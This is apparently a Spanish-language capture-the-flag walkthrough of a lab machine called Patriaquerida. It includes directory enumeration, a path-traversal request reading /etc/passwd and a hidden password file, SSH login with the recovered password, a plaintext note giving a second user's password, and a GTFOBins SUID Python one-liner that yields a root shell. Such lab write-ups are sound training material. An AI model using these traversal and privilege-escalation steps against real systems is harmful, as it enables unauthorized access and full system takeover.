

Ahora al ver que tenemos los puertos ssh y http abiertos, vamos a utilizar gobuster para listar directorios.

```
> sudo gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,py,txt -t 100 -k -r

Gobuster v3.8
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[+] Url:             http://172.17.0.2
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:         /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:       gobuster/3.8
[+] Extensions:      php,html,py,txt
[+] Follow Redirect:  true
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

/index.php      (Status: 200) [Size: 110]
/index.html     (Status: 200) [Size: 10918]
```

Nos encontramos este index.php y nos indica que tenemos que mirar el archivo oculto de un directorio.

```
172.17.0.2/index.php

Bienvenido al servidor CTF Patriaquerida. ¡No olvides revisar el archivo oculto en /var/www/html/.hidden_pass!
```

Lo miramos y vemos que es un path transversal y podemos ver ficheros.

```
172.17.0.2/index.php?page=/var/www/html/.hidden_pass

balu
```

Ahora listamos el /etc/passwd y vemos los usuarios con los que cuenta.

```
172.17.0.2/index.php?page=/etc/passwd

root:x:0:0:root:/bin:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534:nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:101:systemd Time Synchronization:/:/run/systemd:/usr/sbin/nologin
systemd-networkd:x:102:103:systemd Network Management:/:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver:/:/run/systemd:/usr/sbin/nologin
messagebus:x:104:105:nonexistent:/usr/sbin/nologin
sshd:x:105:65534:/:/run/sshd:/usr/sbin/nologin
pinguino:x:1000:1000:home/pinguino:/bin:/usr/sbin/nologin
mario:x:1001:1001:home/mario:/bin:/usr/sbin/nologin
```

Ahora con la contraseña que encontramos antes, vamos a intentar conectarnos con uno de los dos usuarios.

```
> ssh pinguino@172.17.0.2
pinguino@172.17.0.2's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

pinguino@dockelabs:~$
```

Vemos que tiene una nota y esta la contraseña de Mario.

```
pinguino@docklabs:~$ ls -la
total 32
drwxr-xr-x 1 pinguino pinguino 4096 Oct 12 16:07 .
drwxr-xr-x 1 root     root     4096 Jan 12 2025 ..
-rw-r--r-- 1 pinguino pinguino 220  Feb 25 2020 .bash_logout
-rw-r--r-- 1 pinguino pinguino 3771 Feb 25 2020 .bashrc
drwx----- 2 pinguino pinguino 4096 Oct 12 16:07 .cache
-rw-r--r-- 1 pinguino pinguino 807  Feb 25 2020 .profile
-rw----- 1 pinguino pinguino 43   Jan 12 2025 nota_mario.txt
pinguino@docklabs:~$ cat nota_mario.txt
La contraseña de mario es: invitaacachopo
pinguino@docklabs:~$ su mario
Password:
mario@docklabs:/home/pinguino$
```

Ahora como Mario haciendo varias pruebas la única forma de escalar a root es por un binario de Python

```
mario@docklabs:/home/pinguino$ find / -perm -4000 -user root 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chfn
/usr/bin/su
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/man
/usr/bin/chsh
/usr/bin/python3.8
/usr/bin/sudo
```

Con ayuda de gtfobins vemos que comando tenemos que ejecutar.

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which python) .
./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Al ejecutarlo, podemos ver que somos root.

```
mario@docklabs:/home/pinguino$ /usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
```